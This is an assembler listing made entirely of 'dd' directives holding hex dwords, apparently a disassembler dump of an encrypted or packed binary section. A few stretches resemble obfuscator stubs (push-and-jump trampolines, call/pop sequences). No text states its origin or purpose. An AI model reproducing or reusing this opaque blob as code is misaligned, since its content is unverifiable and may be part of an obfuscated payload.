		dd 82654FBCh, 0F7D0C451h, 894FFD96h, 6F0D1h, 0A52B0200h
		dd 0BC1C3641h, 79D31E9h, 150CB1ABh, 0E799EDD5h,	9AAF73F0h
		dd 0B01001BFh, 8EC9F8Fh, 0CCCD645Ah, 151FA325h,	35CC58EDh
		dd 9D1FAF41h, 0AB41881h, 996E8613h, 0A34E4BE7h,	0F9D58D18h
		dd 0C8D7B0EBh, 42A2440Bh, 0E9AFF980h
		dd 0D4ECD65Dh, 2A00000Bh, 6EF2AB08h, 43B5E6F3h,	74ECB12Ch
		dd 3EC2DBFCh, 32E9B227h, 21B8B159h, 6A6F047Ch, 24B1AF31h
		dd 746D0177h, 974D8127h, 12FB4A2Dh, 47577C29h, 5E1EAE2Bh
		dd 595FE40Ch, 3E5BD2E0h, 0E86810B0h, 0D5F454A7h, 322EA221h
		dd 7AF4EA5h, 12971DC3h,	0D931C36h, 0AFA89CE9h, 89502C5Eh
		dd 63C09h, 0AD15CA00h, 0A6F48895h, 48E11F36h, 0D61EA251h
		dd 2CA0784Bh, 0F1009D92h, 0BDE3876Fh, 150C0920h, 1910AADEh
		dd 0F5EF7180h, 12FBE8CFh, 23D125CBh, 0B3AF517Dh, 6F037526h
		dd 0CFF17F72h, 0E612FBE8h, 0DD3FBD3h, 0BC8E776h, 0EFEC827Ch
		dd 0BE748004h, 0E8ECCC18h, 72F1E9AFh, 0B1688h, 0E9CE6C00h
		dd 0A8312CB4h, 0E7F26DF3h, 0AD2A42B6h, 0E8F168F0h, 0F793E8B3h
		dd 0BE425B7Eh, 0F56B30A5h, 0BB3D5E7Bh, 6F613AA7h, 4A3B811Fh
		dd 9E2F12FBh, 0AE2B471Dh, 18819C1Eh, 4FE355DCh,	342D9F52h
		dd 0D221B8B5h, 0DF51A04Eh, 0B1AF5144h, 0F568CD24h, 96676C0Fh
		dd 0FD60ADAEh, 0F00A894Fh, 0F916079h, 57B40E7h,	328A0000h
		dd 159AEC77h, 0D37A7A6Ah, 0A12BB915h, 0D11C3641h, 2AAE455Ch
		dd 0B31BE898h, 4DADD462h, 0F6BD53A3h, 151C360Ch, 0C602CA82h
		dd 677D3834h, 1C360C5Dh, 5A995759h, 36901ED6h, 2A150C7Ch
		dd 5E844884h, 12FB7C54h, 0B5724E50h, 0AEB2DC34h, 6327D323h
		dd 1FD7C259h, 7328B1ADh, 0EBD10FBBh, 0DF12FC11h, 0AA4950C9h
		dd 3B36C826h, 48E4569Eh, 8C17A44Fh, 3C8F8D4h, 1C573AD6h
		dd 0AA2F46B8h, 0D9009E4Ah, 8F0BC899h, 69B1DD09h, 45ECE9B0h
		dd 0A1E5Dh, 0E1C67400h,	0B02944BCh, 0DFFA75EBh,	0B5223ABEh
		dd 0E0F970E8h, 0FF8B00BBh, 0B62A7366h, 0FD8318BDh, 0B3257663h
		dd 0D77922BFh, 49E3E9F7h, 0C6D712FBh, 0AE2B4705h, 0C1DF9F43h
		dd 0C96CEC70h, 0BFB32DC9h, 0EF45A8F4h, 915FB1DAh, 0B04AF262h
		dd 8AD71FB8h, 6673EF9Ah, 3C901666h, 0F8C47BCBh,	95271FFCh
		dd 70F4FF9Ah, 0C8B1DC84h, 0E6B68950h, 15000001h, 43AE2B47h
		dd 88445DD1h, 41149E44h, 8E101C36h, 0E3B69166h,	0F7DBA32Bh
		dd 9F902EBAh, 43610DE9h, 1503311Ch, 2079A0D0h, 0D5F170B4h
		dd 8648D81Bh, 471300A4h, 179D4387h, 131300A4h, 281C698Dh
		dd 859ADE2Fh, 498992h, 154A0000h, 0BE668BADh, 59A71F32h
		dd 9216DDC4h, 0CC4CF62h, 32F322C0h, 0F7091503h,	13955C79h
		dd 0C91F1DDh, 99143B7h,	0CD5BE212h, 13013CEBh, 924B39ACh
		dd 9284FF3Bh, 0E1968D2Fh, 148F9C3h, 5EBED13h, 1304AF1h
		dd 47890000h, 6C568C2Bh, 681C3641h, 6824A846h, 41347E24h
		dd 0AE301C36h, 36418E34h, 0FB748A1Ch, 5F9113DEh, 8DA41897h
		dd 3F58D0EAh, 36411FA5h, 0F25C191Ch, 86DB1D83h,	78549A3Ch
		dd 0F0C7CD48h, 0B83CCFBFh, 3EABC739h, 0B93BB623h, 8259737h
		dd 0EE6A3191h, 0A02247A5h, 5929CD54h, 0AF807221h, 0B2273C7Eh
		dd 0C333BD3Fh, 0E39ED549h, 0AE2B44FAh, 0CD7B312h, 9EEAE2h
		dd 1C357ABAh, 0EFCC28AEh, 35A1724Dh, 118EA21Ch,	0E9D311BDh
		dd 0DD1C3555h, 815E3BBBh, 0E6E5E36h, 0D63B7210h, 0FD873BDDh
		dd 0F3D440E8h, 0E301AD49h, 1501C578h, 26626A6Ch, 0FEA25278h
		dd 0EFEC8212h, 0C9F3B1D5h, 0BD12FEA2h, 7D21D51Bh, 0AEEFEA83h
		dd 0F478332Ah, 8BB12B18h, 727C1912h, 0D534687Ch, 0CA69F2D7h
		dd 83EE0h, 1A69400h, 5049E49Ch,	0FF9A954Bh, 5542DA9Eh
		dd 999048h, 1FEBA09Bh, 560A9306h, 1DE3B8DDh, 53059603h
		dd 0F7D9C2DFh, 47C30997h, 26B712FBh, 0AB2E47A5h, 93396723h
		dd 0C31C3641h, 3FC130ADh, 0B6936385h, 0ECB12E42h, 0FC247A42h
		dd 62CCF97Fh, 2B47EB92h, 325E1EAEh, 4BB779E2h, 48AB3428h
		dd 43CA2AC4h, 57445DD1h, 29C2Bh, 0CB655700h, 55A123CEh
		dd 0C39B2EAEh, 0D50BBF0Bh, 1C3641EFh, 273BC5EBh, 35A43ABAh
		dd 43150352h, 0C6569Dh,	0C1130131h, 0F6577064h,	7192850Ah
		dd 222h, 208DA31Dh, 95618F08h, 2BB915EEh, 1C3641A1h, 4DE31395h
		dd 1C364164h, 74583083h, 0CB18A2Eh, 68648A15h, 0E0BDDA56h
		dd 0B33296E6h, 0BDE83069h, 2EABC739h, 0C56D38C3h, 0FBF31A8h
		dd 0C8E70AD1h, 0CD8FE0Bh, 0E9AFF6CEh, 503A24CFh, 0A6000007h
		dd 0CA8E0FB4h, 8F514A57h, 0E0980590h, 8A4E4F48h, 9E950693h
		dd 95041DEDh, 0BEDB5008h, 98051BDDh, 0F8E17D03h, 0C3E1ADA3h
		dd 12FB46F9h, 47DBE0EDh, 9F43AE2Bh, 420FB5EBh, 0E50B1C36h
		dd 16839F11h, 0EDF469DBh, 19E9206h, 0DCC85DF2h,	8A7AEB19h
		dd 0D9E301CDh, 0CD1C3641h, 0BDB12BCBh, 41D6DC02h, 0C6DC1C36h
		dd 1C3641FCh, 0CACCF6F8h, 7AD37724h, 0ED894FF9h, 15Ah
		dd 0BE2B479Eh, 37BA34A1h, 23A93793h, 171C3641h,	77EB6591h
		dd 396316Ah, 17D9C45Bh,	0AD2C45B7h, 8632C246h, 3641558h
		dd 0EE50B15h, 11B387Eh,	0B8ACF913h, 85236E9Fh, 3EF992h
		dd 2EDA0000h, 0D50BC39Bh, 1503724Ah, 25C928AEh,	11913B69h
		dd 63851301h, 11BBFD93h, 297C1301h, 506A1E3Bh, 0AE32C1DEh
		dd 1118E34h, 29AEC613h,	5A7C46CAh, 299BF29Ah, 0D1CC9285h
		dd 0FB000000h, 43AE2B47h, 8D4158D1h, 4119A341h,	8B0D1C36h
		dd 0FC70E46Bh, 809C10E3h, 7B68617h, 291C3610h, 37EFAC35h
		dd 0EF674D93h, 3D631C35h, 0C39B2EB9h, 647DF10Bh, 9B061B8Dh
		dd 0DA1AD458h, 0A0E9702Eh, 0D9A91501h, 0C2D75788h, 1AF470Fh
		dd 219BEFDFh, 8933710Eh, 7D12FEF3h, 0EA5E955Bh,	76886673h
		dd 0A11BDBF8h, 53CDEF88h, 0BB29AB46h, 12FEF411h, 41B02941h
		dd 0DFE305BFh, 86DC0691h, 0BCE10F19h, 38AC2D44h, 0F2D806F0h
		dd 0CC1C06ADh, 22000005h, 560A9330h, 1BDDBEDBh,	7C049904h
		dd 36AAF3E4h, 3A019A3Fh, 4950C941h, 2978C54h, 4C49E799h
		dd 0C95894Fh, 0AFF5998Fh, 12FB4505h, 47EFD401h,	6EF2AB2Eh
		dd 5B7EF5F2h, 0E80B8EA5h, 22118A64h, 43AE2B47h,	57445DD1h
		dd 482Bh, 2B475C00h, 0EB9F43AEh, 0B6CC893h, 0EAF8677Bh
		dd 1C35C6E0h, 0A822D2D4h, 0FC1DFDB4h, 0D45F5F4Ch, 0F372D71Ah
		dd 0DDFA7601h, 6C206C0h, 360EF2D8h, 22C0E61Ch, 1C360E98h
		dd 1CC20A8Ch, 1C360E96h, 0E80C92h, 38h,	802B4751h, 8F9A8153h
		dd 3EE0018h, 35BA5275h,	0EFEC821Ch, 0FE9B9004h,	8C9843F3h
		dd 0D03843DBh, 0D1FAEA3Bh, 34A70B68h, 823BB5BBh, 0AAC6B1A3h
		dd 11FA12Dh, 0A88B6094h, 0A5BE2B47h, 0B13FC130h, 90F09C42h
		dd 9575AF8h, 5A608289h,	4C1C35FBh, 0E0C92E7Eh, 81774D4Dh
		dd 7BFDF4EDh, 9948B75h,	38E66EAh, 0AEF4D8B0h, 150BE168h
		dd 28D2FA9Ch, 36A3BB34h, 0D1EBE3B8h, 45B73F5Ah,	9D41B029h
		dd 5271E5E5h, 4BFEC2DFh, 9D28CC49h, 647A520Ah, 0BD1D721h
		dd 43BD1197h, 77E9B22Fh, 6277EEFBh, 10E30D8Fh, 0F5683083h
		dd 14CA02ECh, 15030FE5h, 519CDD3h, 0D8F2D5C0h, 4797159h
		dd 6DCF0000h, 908D5348h, 53CC9409h, 8BA35546h, 52CB8D0Eh
		dd 2C5D5647h, 0C9D2C75Eh, 24791C17h, 0C8D5C25Ch, 1A831C10h
		dd 82485636h, 7612FB43h, 2B476665h, 0F76BEDAEh,	999507EAh
		dd 0E17FF100h, 948BFDF4h, 297AEA09h, 51C2403Bh,	1B849863h
		dd 3A32CC82h, 54B9599Dh, 16894FF9h, 0E50C8DA4h,	41E49363h
		dd 0A3000000h, 0BC39B2Eh, 30DF1D5h, 0BC3E515h, 39627FF1h
		dd 0E7F26B95h, 559C0519h, 298D23D3h, 591300F5h,	3772ECC5h
		dd 0EF8CAD51h, 44AA446Dh, 55DF3888h, 29D7B03Eh,	0F668F0CDh
		dd 0D4200AE9h, 71000003h, 43AE2B47h, 57445DD1h,	9D433D88h
		dd 1C364117h, 6B638D13h, 3643235h, 6590F015h, 339CA80Fh
		dd 0A92FE511h, 0A07F5D25h, 13A228B6h, 10961301h, 0A35B1B0h
		dd 0F3D563EAh, 0B41300E3h, 438A4331h, 2792855Ch, 83FD5857h
		dd 52A2AD41h, 20A3h, 9B2EE400h,	4AD50BC3h, 0AE150372h
		dd 953BC928h, 56130111h, 0A9E4E5CFh, 0BE928529h, 0D7h
		dd 0AE2B470Dh, 4158D143h, 0E3FE738Dh, 0E9688C10h, 46A3BB45h
		dd 0B044AA2Fh, 9787223Eh, 2BFFE64Ah, 98F0373Ah,	0AF883E28h
		dd 223EB241h, 0BF31A8C5h, 268FFEDEh, 8DA11C36h,	5DD18714h
		dd 3C388844h, 138EA184h, 627AD9AFh, 35800B92h, 3433715Dh
		dd 0E815029Ah, 0DFB48098h, 9A543AC7h, 7B536601h, 1E9C8D53h
		dd 16980BCCh, 859306B6h, 606507E6h, 5FD6E894h, 869F613Ah
		dd 0CAC9D313h, 8D14E9A2h, 2DEA5h, 0A1063400h, 0F0E984FCh
		dd 9F3A35ABh, 0F5E27AFEh, 0A03930A8h, 0BF4B40FBh, 0F66A33A6h
		dd 0BD43587Dh, 0F36536A3h, 9739627Fh, 4123A937h, 861712FBh
		dd 0AB2E4745h, 0A9C23CF2h, 0B802A02Ch, 0AC1C3641h, 0DC50CA2Ah
		dd 4EB30BC3h, 338E8502h, 618F0A27h, 2E13B895h, 0D50BC39Bh
		dd 1503724Ah, 1AA428AEh, 0D85C9704h, 0C107951Ch, 82130111h
		dd 0B5183123h, 0B2928529h, 0D4h, 0AE2B47E1h, 41D9F43h
		dd 0E00E8BA5h, 16839A14h, 0ADC537DBh, 6B3AC82Ch, 0CD1C3641h
		dd 5B534851h, 0A33AB23h, 0DAF26E7Dh, 3551FEC4h,	0F4FA1Ch
		dd 0C905928Eh, 51D5DF05h, 150D1C35h, 5C983E84h,	0A77F4AD5h
		dd 773D6327h, 731C3551h, 0A9E5896Dh, 0BEF163D9h, 12E29675h
		dd 2F4E17Ch, 8C119715h,	9C30E8BBh, 0CC9E0006h, 6F02F40Bh
		dd 2F1EE82h, 4E7E707Eh,	7724B5ACh, 75716801h, 0E9A3725Dh
		dd 0E0F9E180h, 36000001h, 7AFE9F04h, 0DFA1FAE7h, 90485540h
		dd 0DA9EFF98h, 4E455643h, 0C5D44D3Dh, 8E0B20D8h, 0C8D54B0Dh
		dd 88110DD3h, 33711D13h, 12FB4089h, 156B507Dh, 41A12BB9h
		dd 13951C36h, 0F9F069E3h, 0F7797861h, 302BD5F9h, 47C51A5h
		dd 7D2E6F68h, 43AE2B47h, 0A5165DD1h, 0C590F4D1h, 0DEA2FBF5h
		dd 119E5542h, 0CCF6AC86h, 0C81C35B3h, 0C804C826h, 0A2D57BF8h
		dd 68965809h, 760CE8F1h, 1502F33Bh, 6717B739h, 1C1744A2h
		dd 0B0A04979h, 7A6AE90Dh, 0DC503B29h, 0A3B903A1h, 2BAD1300h
		dd 0BC07D8C5h, 57BAE8E4h, 0BD0BCDA4h, 5632D81Bh, 35A38248h
		dd 8470761Ch, 8199160Ah, 9957D918h, 0E4938B35h,	35A3F4BEh
		dd 0EEF01Ch, 8876FF1h, 58D3EDA1h, 0A33F851Bh, 0B53B1C35h
		dd 0CA34B83Bh, 61AE4653h, 6C246F73h, 0A3BF4260h, 0B3351502h
		dd 0DDFA76EAh, 0ED8CA216h, 0A40DB7h, 9E70913h, 7652FAEAh
		dd 0A36268h, 0A4505613h, 9E92654Fh, 0CAB29C01h,	155ECB23h
		dd 0DF72827Fh, 12D0FCD4h, 0BCD9E97h, 7ADF397h, 31C355Fh
		dd 556B19DDh, 0B133BEDBh, 0BA0EB43Fh, 355E9E24h, 0E0149A1Ch
		dd 0E0B7F26Eh, 14253B8Dh, 0C3B140AEh, 2B7E6252h, 712F5B73h
		dd 1C35864Bh, 6369773Fh, 571C3586h, 0C9619F51h,	6A7824D0h
		dd 1502B24Fh, 8D5A4365h, 346A623Ah, 0BD71AFAh, 790881Eh
		dd 468668ECh, 0DA565C82h, 5C521C26h, 0E31DD3C4h, 28A74F4Ah
		dd 7E1FB8B4h, 958966FAh, 810FE20Ch, 3A45B85h, 867163C2h
		dd 28B0EDEAh, 0D448AB34h, 44B83B5Ch, 0CF41B029h, 0FAAC4752h
		dd 5796B34Bh, 81D2B0CCh, 39AAD893h, 33ACC04Bh, 0BB1EF9Bh
		dd 0FFFCAB70h, 6FA329B7h, 1197FCABh, 0BE4217DFh, 0D4BE35A2h
		dd 3, 47844F35h, 0CF41B015h, 39AB4653h,	0C537BA27h, 54C82BAEh
		dd 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h
		dd 619F68h, 240C8900h, 0C181E189h, 4, 8704E983h, 685C240Ch
		dd 0E70h, 68241C89h, 7C76h, 50242C89h, 0DA3EAD68h, 5ABB582Eh
		dd 1DA60B2h, 0EC8358C3h, 24248904h, 4240483h, 155685Dh
		dd 4890000h, 8B824h, 0E8010000h, 0FF581889h, 835D2434h
		dd 1C8B04C4h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 7B4EE95Ch, 0FC69FFFAh, 0E93CD67Ch, 0B8844FC0h, 93B0316h
		dd 0E0FFC503h, 2E1F3AABh, 2535FAA0h, 4DFCDCC5h,	796B96FEh
		dd 310F88Bh, 61CCA75Dh,	3C113F0Fh, 107C2523h, 4F6536F4h
		dd 14E8h, 0E0E82D00h, 829F7580h, 9EA36365h, 41309F6h, 35FF5BAEh
		dd 11810F8Bh, 0E9000000h, 0Ch, 0C4AD99E0h, 6EE27565h, 0DF157FD2h
		dd 0E8E0F5Ah, 0E8000000h, 6, 9C3CBBCAh,	5F50A5AAh, 6BC2815Eh
		dd 81000070h, 1FD63FE3h, 1BE26828h, 0B70F0000h,	0B70F58F6h
		dd 0F0A8BF3h, 38Bh, 0F2BF0F00h,	0EC9F181h, 0B70F6632h
		dd 0D1C181DBh, 0F3E5325h, 0E981D8B7h, 40537E72h, 816651F9h
		dd 8FEBD4F7h, 8E902h, 5E270000h, 0E64A60BBh, 0EA83A8BBh
		dd 14E86001h, 57000000h, 90F3CC98h, 0C100D504h,	0D51E7EECh
		dd 5649D822h, 6035A8D0h, 8B665E61h, 4A4A61F0h, 0D98B664Ah
		dd 11850F48h, 0F000000h, 1DE9F9B7h, 9000000h, 7BB38C31h
		dd 236C5E9Eh, 9D5420BFh, 0FF7BE94Fh, 0A34FFFFFh, 50342A6Ah
		dd 72DACB7h, 5B78D8Dh, 6A093Bh,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 897AB4C3h, 35082DBDh
		dd 298D8909h, 6A093516h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 71C5C356h, 51B89698h
		dd 0F4FB060h, 68Dh, 830F00h, 61000000h,	287D85C7h, 6F040935h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 40EBF1C3h, 8166096Fh, 897EE1D3h, 35062985h
		dd 5585C709h, 93522h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0F0DEC353h,	0B1858B7Fh
		dd 0FF093521h, 350D15B5h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 3708501Fh
		dd 5CE8107h, 3018F37h, 351C6D85h, 0F3816609h, 95FF6478h
		dd 9350D05h, 3E9B529h, 6A0935h,	82995FFh, 0C08B0935h, 1F4F4CEBh
		dd 0E60716AFh, 0D837C39Eh, 0DA0CF444h, 28413722h, 0FDD15AFAh
		dd 8008B3CBh, 3B8EB88Dh, 4A23A583h, 3C1A6CA7h, 9407244Dh
		dd 99A1ADAh, 6823E32Fh,	0BD6F34B7h, 0DCEE8650h,	2BD66547h
		dd 4EF65D10h, 0D725D152h, 2C70779Ch, 4EB5045h, 194EDCF7h
		dd 471E9h, 0A1063400h, 0F0E984FCh, 9F3A35ABh, 0F5E27AFEh
		dd 0A03930A8h, 0BF4B40FBh, 0F66A33A6h, 0BD43587Dh, 0F36536A3h
		dd 9739627Fh, 3B23A937h, 861712FBh, 0AE2B4745h,	4158D143h
		dd 0F88A45Ch, 0E3FC70E4h, 18819C10h, 209A74D9h,	0E0648F08h
		dd 22D5BF14h, 540C910Eh, 0BD11BDDAh, 36419D27h,	0DF17991Ch
		dd 755C240Ah, 95ECB0CBh, 352BA551h, 5CD749A8h, 59CABA39h
		dd 118EA06Bh, 3F58D48Ch, 0E4F56D8Fh, 0E46B8B0Dh, 35B87154h
		dd 0BFA5781Ch, 920F209Ah, 7919DD5Fh, 89508314h,	0CACF6456h
		dd 417B2Ah, 474C0000h, 0B543AE2Bh, 1C364211h, 3C1D0716h
		dd 894FFA11h, 156h, 2A473500h, 5DD044AFh, 233BAD44h, 56C93BB6h
		dd 3C34A84Bh, 0FB68589Bh, 409D6E09h, 158CA154h,	1C9E88h
		dd 71ED5F97h, 47803368h, 0D448AB2Eh, 43B14059h,	1E17E2D2h
		dd 0C25E227Bh, 0B5AA1ED5h, 0BAE8A428h, 1C364210h, 8B12E204h
		dd 559C0519h, 41C9F3B1h, 1BBD1C36h, 0A25148E5h,	787361B2h
		dd 0A5A68E17h, 894FFF78h, 0A40Fh, 2841BB00h, 559042B1h
		dd 0F39C78C2h, 58F7FFF1h, 23AB2E47h, 41933967h,	61871C36h
		dd 859A0E95h, 41E2E8F6h, 0E0D61C36h, 539D534Ch,	0F8EC39A0h
		dd 0CBF1AFDBh, 0BF1C3641h, 41E3E9F7h, 0D1D71C36h, 0CC65D71Fh
		dd 1108D0CDh, 38884488h, 0B406EDD7h, 5AF35D6h, 3D1C363Ah
		dd 0B93BB623h, 9211E50Bh, 3D3E94ECh, 0B63D58D7h, 752D8E32h
		dd 78F06A8Ah, 34B1945Fh, 5D568740h, 51318950h, 62000000h
		dd 48AB2E47h, 0B63D5AD4h, 1F14A61Eh, 1F5777Ah, 0F903C0B4h
		dd 7A7A67h, 245C7069h, 24B42781h, 7855A17Fh, 0AF2A47D3h
		dd 4211B444h, 0AE181C36h, 6E86130Ch, 0F31A3321h, 74894FF9h
		dd 10h,	5E647A4Eh, 5A1C364Dh, 27CACF64h, 4AB4BA5h, 46AD2847h
		dd 0B2415ED2h, 6E00FAC2h, 0C2FE8271h, 8D8CC665h, 0C10EE6C7h
		dd 0AA3728D3h, 8B4356F1h, 0D7329D43h, 0A0461502h, 5643DF51h
		dd 0ECED8476h, 9D9305h,	75816FF1h, 534CE098h, 97AC10A0h
		dd 6BB81300h, 0D7928E79h, 0AAA90872h, 0B0ED0335h, 496C04F6h
		dd 127319Bh, 6D832513h,	41761655h, 52A28A3Dh, 985B44D8h
		dd 648F0824h, 8F627FF0h, 6093061Dh, 0BE493BC8h,	3FC130A5h
		dd 120253B1h, 0CDCECB67h, 8502B0DDh, 0D1B792h, 2E180000h
		dd 0B30BC39Bh, 0D9CDD79h, 0CA6E867Ch, 33D0D14h,	0EE50B15h
		dd 8419869Ah, 577760FCh, 2BCBCE65h, 0A33C30A4h,	8173E050h
		dd 405D7AF6h, 8539438Ah, 9A952792h, 0AB11CFFFh,	9F13010Eh
		dd 474EFDF9h, 7D000000h, 7C7872Eh, 8F2439C3h, 0D697A974h
		dd 36BD33D2h, 36AC42B2h, 0B21C35B5h, 8D37C52Ch,	0A41C35B4h
		dd 0E4CB977Dh, 1916A824h, 0EA04958Ch, 0AA405E0Ah, 3E1C35B4h
		dd 0CA29B6A8h, 33BEDB56h, 0ECB13FB1h, 46FEh, 0EB154F00h
		dd 6916570h, 0ADF3DBB3h, 1503698Ah, 2799587Eh, 4B0D8E0Bh
		dd 9927CAD7h, 13011708h, 7A0DF704h, 0C3A4F9E6h,	0EEB418F0h
		dd 0BD818CEh, 5FD120C6h, 2D1BD6C3h, 0DDE8F4E0h,	0BB1BC905h
		dd 0A314FF16h, 2EABA0FDh, 0D50BC39Bh, 150D43F9h, 0C438BBDDh
		dd 0EA6E2FA8h, 0E48A6976h, 9A5946DAh, 4050DE16h, 0FD03088Fh
		dd 555F8549h, 5102E770h, 6A5AA74Fh, 8516839Fh, 0AF425FD3h
		dd 3DB4253Dh, 1E15A74Fh, 0EA09948Bh, 0E7698866h, 569D0419h
		dd 0E7CD22D2h, 928F1814h, 707E1B17h, 0C75B1D7Eh, 82F17DAh
		dd 60000000h, 0E47D7F4Fh, 476201F5h, 0CF41B015h, 39AB4653h
		dd 0C537BA27h, 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h
		dd 4DBF32AFh, 5D2AC9D0h, 107A68h, 242C8900h, 2C1468h, 242C8900h
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 51240C89h, 744CA168h
		dd 0D1F7592Ch, 21D9E181h, 0C1813B57h, 0F637E4BBh, 242C8151h
		dd 46A21434h, 34C5815Dh, 5946A214h, 4EC81h, 24890000h
		dd 24048324h, 0BA525904h, 8, 3ACDEA81h,	0CA0140F3h, 3ACDC281h
		dd 2A8940F3h, 2434FF5Ah, 4C48359h, 57242C8Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 55E95C24h, 4FFFA74h, 0F2B83845h
		dd 3093B09h, 41E0FFC5h,	9947E3FAh, 5C52AFC5h, 0CE358438h
		dd 8F6E7603h, 3B6C206Ch, 527737BDh, 0BC6CD858h,	3423FF53h
		dd 5236A8D9h, 0EF47B207h, 0F8738000h, 5B12A35Eh, 5167ED7Ah
		dd 4249803Bh, 0B0704FCEh, 0A808C10Fh, 950790E1h, 0E341B8A4h
		dd 814CCB3Bh, 45136983h, 531EA559h, 0B94B82BBh,	727DD3EBh
		dd 3504DCB6h, 202F1D7Ah, 5D2DA098h, 465C34C4h, 0A392A76h
		dd 744B9941h, 0EB45D163h, 0EB2BFEFEh, 9E7D0079h, 0E2218CEFh
		dd 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h
		dd 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh
		dd 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh
		dd 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h
		dd 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh, 0B3D7C771h
		dd 711800BEh, 0ADC4D756h, 440873E2h, 43E90331h,	6800000Fh
		dd 93B0D1Bh, 0FA7343E9h, 0E3D68FFh, 39E9093Bh, 68FFFA73h
		dd 93B0F26h, 0FA732FE9h, 108068FFh, 25E9093Bh, 68FFFA73h
		dd 93B10E0h, 0FA731BE9h, 11B568FFh, 11E9093Bh, 68FFFA73h
		dd 93B1239h, 0FA7307E9h, 12C868FFh, 0FDE9093Bh,	68FFFA72h
		dd 93B1380h, 0FA72F3E9h, 145568FFh, 0E9E9093Bh,	68FFFA72h
		dd 93B15E2h, 0FA72DFE9h, 183B68FFh, 0D5E9093Bh,	68FFFA72h
		dd 93B1955h, 0FA72CBE9h, 0B91E3CFFh, 98011CE4h,	0F7E27D03h
		dd 9D3A32A6h, 0F8E17800h, 27E398A3h, 4E128B0Eh,	25DBC0D5h
		dd 4B0D8E0Bh, 0DFD1CAD7h, 35CBF1AFh, 0EBF12FBh,	0AE2B47ADh
		dd 445DD143h, 0D9FE7688h, 895E961Ah, 9B33EBBEh,	3646205h
		dd 61901615h, 11BEDD3h,	4D37AE13h, 8524418Ch, 472692h
		dd 15650000h, 41A12BB9h, 3E931C36h, 0A3BB9502h,	0C430B60Ch
		dd 1EAE6631h, 2819580h,	0AE456B15h, 90E5B808h, 0A5C92838h
		dd 37FDC351h, 67BE1301h, 4315C7Dh, 0B3369285h, 90000000h
		dd 431CA63Ch, 0A6181301h, 11E50B88h, 802B4772h,	82F3000h
		dd 0F3EE81E7h, 7C727C00h, 6F6A0375h, 831C1084h,	7760FC70h
		dd 0D5079626h, 35291C35h, 0D26E548Ah, 226A1C35h, 35D2367Ch
		dd 42AC321Ch, 0F569EFACh, 0D2AE14CAh, 4AA1C35h,	297C07EAh
		dd 40475D71h, 0B41502F9h, 0CBDE6932h, 0BB25BB13h, 0BF0BCCB0h
		dd 120BB519h, 0CB621687h, 982816CEh, 0EE75E9A2h, 0CFC04h
		dd 0A90E2C00h, 0E8F16CF4h, 0A7322DB3h, 0EDEA82F6h, 0A83128B0h
		dd 0B75328F3h, 0FE821BBEh, 0B52B7065h, 0FB7D1EBBh, 2F217A67h
		dd 347B415Fh, 5E6F12FBh, 0AB2E475Dh, 0E5F26EF2h, 9B2E13B8h
		dd 4AD50BC3h, 0AE150372h, 9B25C928h, 47DD1984h,	13011181h
		dd 0D8F1E342h, 92852975h, 12BF2h, 9229C00h, 13E3658Ch
		dd 0BE2B476Ch, 0E8D210A7h, 0DC1C3641h, 0DBD34BAh, 4B0FC9B8h
		dd 0B03EB0DBh, 0AFA4641Ch, 0B56B6D3h, 79F064EBh, 0DF526C60h
		dd 4B7B0C94h, 42AC2347h, 4AC92DAFh, 0C095DCA4h,	8AA831D0h
		dd 0D6C9D46Ah, 0F76B1C35h, 0D1FDB1EAh, 35D9A913h, 0D3FB9D1Ch
		dd 35D9A70Dh, 0F9FDA31Ch, 0DEEEEB87h, 0B52742DCh, 5856089Ch
		dd 56DA19D7h, 1941F9Eh,	0B7498549h, 50D41FBAh, 0DD670EA4h
		dd 3B5D1502h, 82206C62h, 1300A038h, 0A022A836h,	90161300h
		dd 0BD48AC32h, 49A32EAh, 0BCC51DBh, 8C092799h, 0C10DE365h
		dd 686213Fh, 3D9F3554h,	8A2EC628h, 0BBE0F970h, 39AD2C45h
		dd 0E9A2083Bh, 0DAD7BF62h, 0A00000Bh, 4E128B28h, 23D5C6D3h
		dd 540C910Ch, 1EE2BBDCh, 12099207h, 1989179h, 4A4FE49Ch
		dd 4918F51h, 544DE197h,	772D6147h, 12FB334Dh, 47379C49h
		dd 715B892Eh, 651C3641h, 9F21AD43h, 74EA1481h, 14BA8F67h
		dd 896875EAh, 0E17DEF07h, 11ABA3F8h, 7B415F18h,	6F1C3641h
		dd 99478769h, 1C364133h, 0CE758127h, 43AE2B47h,	57445DD1h
		dd 0E0138EA1h, 0B6E7F06Ch, 0D4DF0044h, 1F12D0FCh, 15150355h
		dd 36EA0365h, 8866A2E1h, 3807AE94h, 9520E287h, 11BD11BDh
		dd 7737E9D3h, 3BBBDD1Dh, 44523AA5h, 83784816h, 0F02CDA58h
		dd 0FDA351A5h, 865E69F6h, 5869846h, 747A1D84h, 0CDCA6658h
		dd 725C101h, 0D8A65B4Ch, 1604AEF4h, 0DE001D84h,	0A3BF4116h
		dd 6471EA14h, 8415347Eh
		dd 40AE301Dh, 51D3AEA4h, 5A44EFE8h, 0AF1h, 5963321h, 0DAC3DE53h
		dd 0F8C0926h, 0D3C8D149h, 1885140Dh, 859C6E1Bh,	5AD18714h
		dd 849A5E3Fh, 5ED28617h, 18745C41h, 0FB32408Ah,	24A73412h
		dd 43AE2B47h, 67041D9Fh, 8CBE527Fh, 10E30D71h, 0CADD688Ch
		dd 6D24BA12h, 8B150322h, 3A8E3865h, 1251EA4h, 60941A13h
